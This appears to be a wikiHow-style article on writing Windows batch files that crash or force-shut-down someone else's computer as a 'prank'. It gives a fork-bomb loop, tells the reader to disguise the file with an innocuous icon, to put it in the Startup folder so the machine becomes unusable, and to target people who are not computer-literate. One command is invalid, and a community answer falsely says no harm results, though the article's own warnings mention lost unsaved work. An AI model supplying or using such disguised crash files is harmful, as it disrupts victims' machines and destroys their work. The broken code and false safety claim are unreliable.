How to Crash a Computer with a Scary Batch File

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Prank your friends with this Matrix-inspired command prompt

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Last Updated: December 31, 2024

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Writing a File to Crash the Monitor

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Instantly Shut Down

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Q&A

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Tips

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Warnings

Ever seen the matrix? Well you can utilize a Matrix style code to crash a computer. With this you can play pranks on friends and family.

Things You Should Know

Use Notepad to enter the necessary code.
Save the file with a .bat extension.
Create a shortcut for the file and replace the icon with something innocuous. Clicking the icon will cause the monitor to crash.

Method 1

Method 1 of 2:

Writing a File to Crash the Monitor

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In All Programs click Accessories, in Accessories click Notepad. For Windows 7, click Start then type in the search bar at the bottom type; Notepad and press enter.

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3
Copy this code into Notepad:
```
@echo off
color a
cls
:top
start
goto top
```
For example as cmd_prank.bat.
Right click on the file and click Send To, then Desktop.
Go to the Desktop and right click and go to Properties and Change Icon. Make the icon Internet Explorer or the Documents icon.
To stop this before it happens, pull out the battery or press and hold the power key until it turns off(laptops) or unplug the computer, not the monitor (desktops).

Method 2

Method 2 of 2:

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1
Open notepad and type the following code:
```
kill -f explorer.exe
shutdown -s -f 
exit
```
In Notepad, press Ctrl+S, then select "Any" as file type, enter a name with a ".bat" extension, for example "Anything.bat", and click on Save.

Community Q&A

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Question

Will it harm the computer in any way?

Community Answer

No. It will not harm your computer.

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Question

How do I change the message?

Community Answer

Shutdown -s -f -c "Your Comment Here". Replace the "Your Comment Here" with your own message and that's it!

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Question

How do I make a batch file that activates on startup?

Community Answer

Open Notepad and type in: @echo off start "" "cmdprank.bat." Save it as any name, but make sure it has .bat or .cmd at the end of the filename. Then, follow Method 1, not Method 2.

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Tips

Always check your own computer for a desktop file like this, by seeing if it's a shortcut. If it is, right click and click Edit (if possible). If it seems suspicious delete it.

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Use this on someone who is computer illiterate.

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Tips from our Readers

The advice in this section is based on the lived experiences of wikiHow readers like you. If you have a helpful tip you’d like to share on wikiHow, please submit it in the field below.

If you want to make the computer open this file during startup, just save that file to the Startup folder in your user folder. Then, when the computer starts it will crash and be unusable. However, this won’t work in Safe Mode!
Don’t run it on your own computer. Use a virtual PC if you want to test if yourself.
Be careful not to save it as a .vir then open it.

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Warnings

This may result in an office war.

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Also the computer can lose any unsaved open files i.e. Word, Downloads in progress, etc.

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